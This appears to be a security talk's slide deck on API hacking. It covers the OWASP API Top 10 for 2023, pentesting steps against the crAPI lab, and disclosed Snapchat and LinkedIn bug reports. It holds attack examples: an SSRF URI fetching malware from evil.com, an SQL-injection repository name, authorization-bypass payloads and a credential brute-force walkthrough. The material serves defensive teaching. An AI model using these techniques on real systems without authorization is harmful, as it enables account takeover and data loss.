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# API-HACKING DEMYSTIFYED

A Technical Overview for Security Professionals

~ **ANMOL SINGH YADAV**



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# whoami

- Anmol Singh Yadav [ [@lamLucif3r\\_](#) ]
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02

# API **SECURITY**: INTRODUCTION

Understanding the Importance of API Security



# 2. An Introduction to **API Security**

## 2.1 What is an API ?


- **Application Programming Interface**
- Allows different applications to communicate with each other.

## 2.2 Why Study API Security ?

- Approximately **83% of web applications traffic** is from APIs
- Ensure data Privacy & Confidentiality
- Avoid Financial Losses & Reputational Damage
- To comply with regulations & Industry Standards

## 2.3 Which data can be exposed through APIs?

- **Financial Information** (such as Credit card details, bank account numbers)
- **Personal Information** (such as Contact Details, SSN, Passwords)
- **Health Information** (such as Medical Records, Prescriptions, Health Insurance)
- **User Authentication Data** (such as Passwords, Access Tokens, Session IDs)




# 2. An Introduction to **API Security**

## 2.4 What are Types of API ?

- **Public** : Easiest to find
- **Partner**: Available to specific groups
- **Private**: Hardest to find

## 2.5 Where to look for APIs ?

- **Manual Exploration**: Github, API Documentations
- **Web Application Scanners**: Use WebApp-Scanners to detect API endpoints
- **Fuzzing Tools**: Fuzzing tools can be used to detect API endpoints
- **Reverse Engineering**: Walkthrough web apps and use tools such as mitm2proxyswagger to create a swagger for the API



Source: McKinsey Payments & Practices

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03

# OWASP API SECURITY TOP 10 2023

Understanding the Latest OWASP API Security Risks for 2023



# OWASP

Open Web Application  
Security Project



**Is your API Secure enough to  
keep the bad guys out, but  
open enough to let the good  
guys in ??**

# 3. **OWASP** API Security Top 10 : 2023

## API1: **B**roken **O**bject **L**evel **A**uthorization [BOLA]

### What is BOLA ?

- Very common issue
- Involves manipulating IDs to impersonate other users and access unauthorized data.

### Impacts

- Data Loss
- Data Disclosure
- Data Manipulation
- Unauthorized access to objects leading account takeover

### Example Attack Scenario

- An API has endpoint:  
`/api/v1/posts/1/edit`
- Attacker can change '1' to '2' and may be able to edit someone else's posts  
`/api/v1/posts/2/edit`

### A Note to Developers

- Implement a proper Authorization Mechanism that relies on the user policies & hierarchy
- Use authorization mechanism to check if the logged-in user has access to perform the requested action
- Prefer using random and unpredictable values as IDs.

# 3. **OWASP** API Security Top 10 : 2023

## API2: **B**roken **A**uthentication

### What is Broken Auth ?

- A Weak / Poor Authentication mechanism introduces this vulnerability
  - Missing Security Controls
  - Missimplementing Controls

### Impacts

- Attacker gain control of other users' accounts
- Data Theft
- Unauthorized Transactions

### Example Attack Scenario

- Permits Weak Password
- Doesn't validate authenticity of tokens
- Allows Credential Stuffing [Brute force ID/Password]

### A Note to Developers

- Define strong 'Authentication policies' and standards
- Wherever possible, implement multi-factor authentication
- Implement 'Account Lockout' / Captcha mechanisms to prevent brute force attacks
- API keys should not be used for user Authentication

# 3. **OWASP** API Security Top 10 : 2023

## API3: Broken Object Property Level Authorization

### What is BOPLA ?

- Attackers can exploit endpoints by reading or changing values of object properties they are not supposed to access
- Mass Assignment

### Impacts

- Unauthorized Access can result in Data Disclosure,
- Data Loss is possible
- Data can be manipulated very easily

### Example Attack Scenario

- An User is able to set:  
**"account-type" = "premium"**
- Adding Objects in API requests
  - {"approved":true}
  - {"approved":true,  
"price": "\$1,000,000"}

### A Note to Developers

- When an endpoint is exposed, make sure the user should have access to those properties of objects, you expose.
- Allow changes in properties of objects that should be updated by client.
- Return only minimum amount of data required according to the usage.
- Avoid using functions that bind a client's input into code variables or object properties automatically.

# 3. OWASP API Security Top 10 : 2023

## API4: Unrestricted Resource Consumption

### What is URC ?

- Inadequate traffic control
- Multiple Concurrent requests can be performed from a single local computer or using cloud computing resources

### Impacts

- Denial-of-Service (DOS) Attacks
- Data Harvesting
- Impact on service provider's billing

### Example Attack Scenario

- An attacker uploads large image by issuing a POST request to /api/v1/image. After upload is completed API creates multiple thumbnails with different sizes, which makes API unresponsive since available memory gets exhausted

### A Note to Developers

- Use container-based solutions that make it easy to limit memory, CPU, number of restraints, processes etc.
- Define a 'Maximum-Size' on all incoming parameters and payloads
- Configure spending limits for all service providers
- Rate limiting should be fine tuned based on requirements

# 3. **OWASP** API Security Top 10 : 2023

## API5: **B**roken **F**unction **L**evel **A**uthorization

### What is BFLA ?

- Attacker abuses API functionality to improperly modify (CRUD) objects.
- Often involves replacing passive methods (GET) with active ones (POST, PUT, DELETE)

### Impacts

- May lead to escalate privileges
- Administrative functions are key targets for this attack
- Can be exploited to modify account details

### Example Attack Scenario

- Replacing GET with PUT
- Modifying the parameters "role=admin"
- Deleting the invoice
- Adding a new user as admin
- Setting account balance = \$0

### A Note to Developers

- The enforcement mechanism(s) should deny all access by default.
- Review API endpoints against Function-Level flaws
- Identify functions exposing high sensitivity capability and develop controls to limit access.
- Make sure all administrative controllers inherit from an administrative abstract controller, that implements authorization checks based on user's group/role.

# 3. **OWASP** API Security Top 10 : 2023

## API6: **S**erver **S**ide **R**quest **F**orgery [SSRF]

### What is SSRF ?

- Occurs whenever an API is fetching a remote resource w/o validating user-supplied URL.
- It allows sending crafted request to unexpected destination

### Impacts

- SSRF creates a channel for malicious request, data access or other fraudulent activities
- Potential for data leaks
- Can lead to DOS

### Example Attack Scenario

- Suppose a web page gets images from another website (say "unsplash")
- Attacker changes "URI=http://evil.com/malware.exe"
- Malware gets downloaded from malicious site.

### A Note to Developers

- Disable HTTP redirections
- Validate and Sanitize all client-supplied input data
- Isolate the resource fetching mechanism in your network.
- Use Allow-List for: URL schemes and ports, Accepted Media Types, etc.

# 3. **OWASP** API Security Top 10 : 2023

## API7: **S**ecurity **M**isconfigurations

### What is SM ?

- Appropriate security hardening is missing across any part of API stack
- Latest Security patches are missing.
- CORS misconfigured
- TLS is missing

### Impacts

- Expose Sensitive User data
- Full server Compromise

### Example Attack Scenario

- Suppose a social network page offers DM feature allowing private conversations
- To retrieve new message, webapp uses:
- ***GET /dm/user\_update?c\_id= 12345***
- Since API response doesn't include Cache-Control HTTP response header, private conversation end up caching by web browser.
- Attacker can retrieve them from browser cache files

### A Note to Developers

- Implement Hardening procedures
- Define and enforce all API response payload schemes, including error responses, to prevent sending information back to attackers.
- Ensure all API communications over an encrypted communication channel (TLS)



# 3. OWASP API Security Top 10 : 2023

## API8: Lack of Protection from Automated Threats

### What is LPAT ?

- Abuse of legitimate business workflow through excessive automated use
- Rate Limiting gets less effective
- Attacker can access sensitive functionality in an automated manner

### Impacts

- Prevents legitimate users from accessing the services
- Allows attacker to send excessive amounts of messages / comments and easily spread fake news
- Loss of critical Business activity

### Example Attack Scenario

- Suppose a ride-sharing app provides referral program – users can invite friends & earn points
- Attacker write script to automate registration process, with credit getting added to his wallet
- Earns unlimited points

### A Note to Developers

- Consider IP blocking of Tor exit nodes and well-know proxies
- Denying services to unexpected client devices (e.g headless browsers)
- Identify the business flows that might harm the business if they are excessively used

# 3. **OWASP** API Security Top 10 : 2023

## API9: Improper Inventory Management

### What is IIM ?

- Attacker get unauthorized access through old API version/endpoint
- No retirement plan for each API version
- Attacker get access to sensitive data via 3<sup>rd</sup> party with whom, there's no reason to share data

### Impacts

- Access to Sensitive Data
- Take over the server through old, unpatched API versions connected to the same database
- Data Exposures via 3<sup>rd</sup> party services

### Example Attack Scenario

- Suppose a social network implemented rate-limiting to prevent credential brute force in ***www.socialmedia.com*** page
- Attacker founds ***beta.socialmedia.com*** page with all same functionalities except rate-limiting. Now attacker can brute-force users ID and password

### A Note to Developers

- Deploy / Manage all APIs in gateway
- Define rules for versioning and retirement
- Periodically audit 3<sup>rd</sup> party access.

# 3. **OWASP** API Security Top 10 : 2023

## API10: **U**nsafe **C**onsumption of **A**PIs

### What is UCA ?

- Developers tend to trust data from 3<sup>rd</sup> party APIs more than user input, thus adopts weaker security standards in input validations and sanitization

### Impacts

- Exposure of Sensitive Information
- Data Theft
- Account Takeover

### Example Attack Scenario

- Attacker inserts malicious address data to validation site used by client. Client fails to validate data and gets exploited
- An attacker can prepare a git repo named: **' ; drop db ; --**
  - Now after integration from attacked app is done on malicious repo, it builds and SQL query to delete database.

### A Note to Developers

- When evaluating service providers, assess their security posture
- Ensure all API interactions happen over a secure communication channel
- Don't blindly follow the redirects; better to use an allow list
- Always validate and sanitize data received from integrated APIs before using it.

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**04**

# **API PENTESTING**

An Overview of Tools & Techniques for API Pentesting

# 4. API Pentesting

## 4.1 API Reconnaissance

- Passive Recon: Google Dorking, Git Dorking, API Directories, WayBackMachine, Shodan
- Eg:
  - **[Google]** intitle: "api" site:target.com
  - **[Github]** extension:json target
- Active Recon: NMAP, Amass, GoBuster, Kiterunner
- Eg:
  - `nmap -sC -sV domain.target.com`
  - `amass enum -active -d target.com | grep api`



# 4. API Pentesting

## 4.2 Broken Object Level Authorization


4.2.1 Create resources from **Account A** and try to access it using **Account B**

4.2.2 Using **User A's** token, try to request for **User B's** resources.

Examples:

`GET /api/v1/user/user1` → 404 Not Found

`GET /api/v1/user/iamlucif3r` → 200 ok



Source: [APISecurity.io](https://apisecurity.io)

# 4. API Pentesting


## 4.2 Broken Object Level Authorization

- Object IDs in URLs tend to be less vulnerable. Try to put more effort on IDs in HTTP headers / bodies.
- Use the “**session label swapping**” technique or find endpoints that return IDs of objects that belong to other users.
- Always try numeric IDs, if an endpoint receives a non-numeric object ID, (like an email) try to replace it with a number.
- Some Authorization mechanisms works partially. In that case, you might end up getting 401 or 403 in response. Keep trying with different IDs.
- **Bypassing Object Level Authorization:**
  - Instead of `{"id":1234}` send `{"id":[1234]}`
  - Instead of `{"id":111}` send `{"id":{"id":111}}`
  - `POST api/get_profile {"user_id":<User-A's ID>,"user_id":<User-B's ID>}`

# 4. API Pentesting

## 4.3 Broken Authentication

- Configure Burpsuite and browser to run on same proxy.
- Go to Login (on target web-app) > Intercept request in burp > Send to Intruder




Performing cluster bomb attack on 'email' and 'password' parameters



# 4. API Pentesting

## 4.3 Broken Authentication

- Configure **Burpsuite** and browser to run on same proxy.
- Go to Login (on target web-app) > Intercept request in burp > Send to Intruder
- Highlight the 'email' and 'password' fields in Intruder > Click on Add



Performing cluster bomb attack on 'email' and 'password' parameters

# 4. API Pentesting

## 4.3 Broken Authentication

- Configure **Burpsuite** and browser to run on same proxy.
- Go to Login (on target web-app) > Intercept request in burp > Send to Intruder
- Highlight the 'email' and 'password' fields in Intruder > Click on Add
- Add payloads for Set-1 (i.e. email)

The screenshot shows the 'Payloads' tab in Burp Suite. At the top, there are four tabs: 'Positions', 'Payloads' (selected), 'Resource Pool', and 'Options'. Below the tabs, there's a section titled 'Payload Sets' with a help icon. It contains the text: 'You can define one or more payload sets. The number of payload sets depends on the attack'. Below this, there are two rows of configuration: 'Payload set:' with a dropdown menu showing '1', and 'Payload count:' with the value '7'. The second row shows 'Payload type:' with a dropdown menu showing 'Simple list', and 'Request count:' with the value '70'. Below this is another section titled 'Payload Options [Simple list]' with a help icon. It contains the text: 'This payload type lets you configure a simple list of strings that are used as payloads.' Below this text is a list of email addresses: 'abc123@email.com', 'admin@admin.com', 'ahmed@admin.com', 'crapimax@email.com', 'crapitester@email.com', 'hapihacker123@email.com', and 'madsec2@test.com'. To the left of this list are buttons: 'Paste', 'Load ...', 'Remove', 'Clear', and 'Deduplicate'. To the right of the list is a red arrow pointing right. Below the list is an 'Add' button and a text input field with the placeholder 'Enter a new item'. At the bottom, there is a dropdown menu labeled 'Add from list ... [Pro version only]'.

Selecting Payloads for email parameter

# 4. API Pentesting

## 4.3 Broken Authentication

- Configure **Burpsuite** and browser to run on same proxy.
- Go to Login (on target web-app) > Intercept request in burp > Send to Intruder
- Highlight the 'email' and 'password' fields in Intruder > Click on Add
- Add payloads for Set-1 (i.e. email)
- Add payloads for Set-2 (password)
- Click on Attack.


Results	Positions	Payloads	Resource Pool	Options		
Filter: Showing all items						
Request	Payload1	Payload 2	Status ^	Error	Timeout	Length
3	hapihacker123@email.com	Password1	200	<input type="checkbox"/>	<input type="checkbox"/>	698
20	madsec2@test.com	Password123	200	<input type="checkbox"/>	<input type="checkbox"/>	688
0			500	<input type="checkbox"/>	<input type="checkbox"/>	538
1	abc123@email.com	Password1	500	<input type="checkbox"/>	<input type="checkbox"/>	479
2	crapimax@email.com	Password1	500	<input type="checkbox"/>	<input type="checkbox"/>	479
4	crapitester@email.com	Password1	500	<input type="checkbox"/>	<input type="checkbox"/>	479
5	ahmed@admin.com	Password1	500	<input type="checkbox"/>	<input type="checkbox"/>	479
6	madsec2@test.com	Password1	500	<input type="checkbox"/>	<input type="checkbox"/>	479
7	admin@admin.com	Password1	500	<input type="checkbox"/>	<input type="checkbox"/>	479
8	abc123@email.com	Password2	500	<input type="checkbox"/>	<input type="checkbox"/>	479
9	crapimax@email.com	Password2	500	<input type="checkbox"/>	<input type="checkbox"/>	479
10	hapihacker123@email.com	Password2	500	<input type="checkbox"/>	<input type="checkbox"/>	479
11	crapitester@email.com	Password2	500	<input type="checkbox"/>	<input type="checkbox"/>	479
12	ahmed@admin.com	Password2	500	<input type="checkbox"/>	<input type="checkbox"/>	479
13	madsec2@test.com	Password2	500	<input type="checkbox"/>	<input type="checkbox"/>	479
Request	Response					
Pretty	Raw	Hex				
1	POST /identity/api/auth/login HTTP/1.1					
2	Host: crapi.apisec.ai					
3	User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0					
4	Accept: */*					
5	Accept-Language: en-US,en;q=0.5					
6	Accept-Encoding: gzip, deflate					
7	Referer: http://crapi.apisec.ai/login					
8	Content-Type: application/json					
9	Origin: http://crapi.apisec.ai					
10	Content-Length: 58					
11	Connection: close					
12						
13	{ "email": "hapihacker123@email.com", "password": "Password1" }					

Attack Initiated

# 4. API Pentesting

## 4.4 Broken Function Level Authorization

- CREATE, READ, UPDATE or DELETE resources as User A. Try to understand how resources are requested.
- Swap out User A token for User B's
- Send GET, PUT, POST, & DELETE requests for User A's resources using User B's token
- Check User A's resources to validate changes have been made using User B's token or not.



Source: Wallarm

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**05**

# **API HACKING: Case Studies**

Real-World Examples of API Hacks

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# 5.1 API HACKING – CASE STUDY

## Instagram

OWASP #1: Broken Object level Authorization

OWASP #2: Broken Authentication

### Issue: Account Takeovers

- 1.Account reset requires 6-digit codes
- 2.Researcher found API to submit reset code guesses.
- 3.Guesses limited to 200 per IP
- 4.Researcher demonstrated could rotate through 5000 IPs in seconds
- 5.Enables Account Takeovers



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## 5.1 API HACKING – CASE STUDY

### Coinbase

#### OWASP #1: Broken Object level Authorization

Issue: Sold crypto coins one do not own

1. User scraped API Calls from web UI
2. Identified 4 parameters for any coinbase transaction
3. Manipulated the parameters via API Class
4. Sold cryptos they don't own

The Coinbase logo, consisting of the word "coinbase" in a blue, lowercase, sans-serif font.

Cause: Missing Logic Validation check in a retail brokerage API endpoint.

---

# \$2.2 Trillion

Losses Worldwide in 2020, due to API Security Breach

~ Source: Salt Security



# 5.1 API HACKING – HACKERONE



pricken9 submitted a report to [Snapchat](#).

Jan 1st (4 months ago)

Hello Snapchat,

Snapchat has viral video feature called spotlight which alone was the biggest trend and increase snapchat users and profit in millions. I found a way to delete anyone's spotlight remotely.

Please see the below poc:-

1. First go to <https://my.snapchat.com/myposts> and log in there.
2. You will see your posts .
3. Now turn burp suite and intercept. 4.Select any of your posts and click delete option.
4. Now capture the delete request. In delete request there is parameter of id

```
{ "operationName": "DeleteStorySnaps", "variables": { "ids": [ "██████████" ], "storyType": "SPOTLIGHT_STORY" }, "query": "mutation DeleteStorySnaps($ids: [String!]!, $storyType: StoryType!) {\n  deleteStorySnaps(ids: $ids, storyType: $storyType)\n}"
```

6. You just have to change this id parameter. You can easily get the id parameter. Now forward the request after replacing id with someone's else video id.

And the video of other user will get delete.

HOW TO GET ID PARAMETER

1. Whenever you share spotlight you can see the parameter in the url as: <https://story.snapchat.com/spotlight/██████████>

I have attached a video POC please check it out

Impact

Delete anyone's Content Spotlight. Imagine deleting video biggest influencers and content creators.



Reported January 1, 2023 9:36pm +0530

pricken9

Participants



State ● Resolved ()

Reported to [Snapchat](#)

Disclosed March 7, 2023 3:02am +0530

Severity High (7 ~ 8.9)

Weakness *None*

Bounty \$15,000

Time spent *None*

CVE ID *None*

Account de... *None*

# 5.1 API HACKING – HACKERONE

LinkedIn

## Issue description

A creator can create a newsletter, the followers can subscribe to the newsletter. The owner of the newsletter can view the subscriber list by clicking the "subscriber" button.

Server-side authorization checks are missing on

`GET /voyager/api/voyagerPublishingDashSeriesSubscribers?`

`decorationId=com.linkedin.voyager.dash.deco.publishing.SeriesSubscriberMiniProfile-`

`2&count=10&q=contentSeries&seriesUrn=urn%3Ali%3Afsd_contentSeries%3A<NewsletterId>&start=0 HTTP/2"`. This gives an attacker the ability to view the subscriber list of other users' newsletters by replaying the vulnerable request using the victim `NewsletterId` which is public.

## Steps:


- 1) Create a newsletter.
- 2) Open the newsletter and click on "subscriber".
- 3) Capture the vulnerable request.
- 4) Replay the vulnerable request using victim's `NewsletterId`.
- 5) The response will disclose the subscriber list and their details in the API Response.

## Impact

An attacker can view the subscriber list and details of other users' newsletters even though it is not possible through the application UI. by just replaying the vulnerable request with the victim's ``NewsletterId".

tushar6378

Participants



State

Resolved ()

Reported to

LinkedIn

Managed

Disclosed

March 29, 2023 9:00pm  
+0530

Severity

High (7.5)

Weakness

Insecure Direct Object  
Reference (IDOR)

Bounty

\$2,500

Time spent

None

CVE ID


None

Account de

None

# 6. SUMMARY

- Three pillars of API Security:
  - **Governance** : Developing Secure APIs
  - **Testing**: Testing Functionalities of APIs
  - **Monitoring**: Determining any threats in APIs



# RESOURCES [BONUS]

- Awesome-API-Security: [github.com/arainho/awesome-api-security](https://github.com/arainho/awesome-api-security)
- List of Possible API Endpoints: [yassineaboukir's list](#)
- API Pentesting Checklist :  
[github.com/HolyBugx/HolyTips/blob/main/Checklist/API%20Security.pdf](https://github.com/HolyBugx/HolyTips/blob/main/Checklist/API%20Security.pdf)
- Intentionally Vulnerable Labs [for Hands-on]:
  - [github.com/OWASP/crAPI](https://github.com/OWASP/crAPI)
  - [github.com/roottusk/vapi](https://github.com/roottusk/vapi)
- Everything about API Hacking: [Insider PHD's playlist](#)
- You can find this PPT on my Github

---

# THANKS!

Feel free to reach me out for any queries. You can find me :



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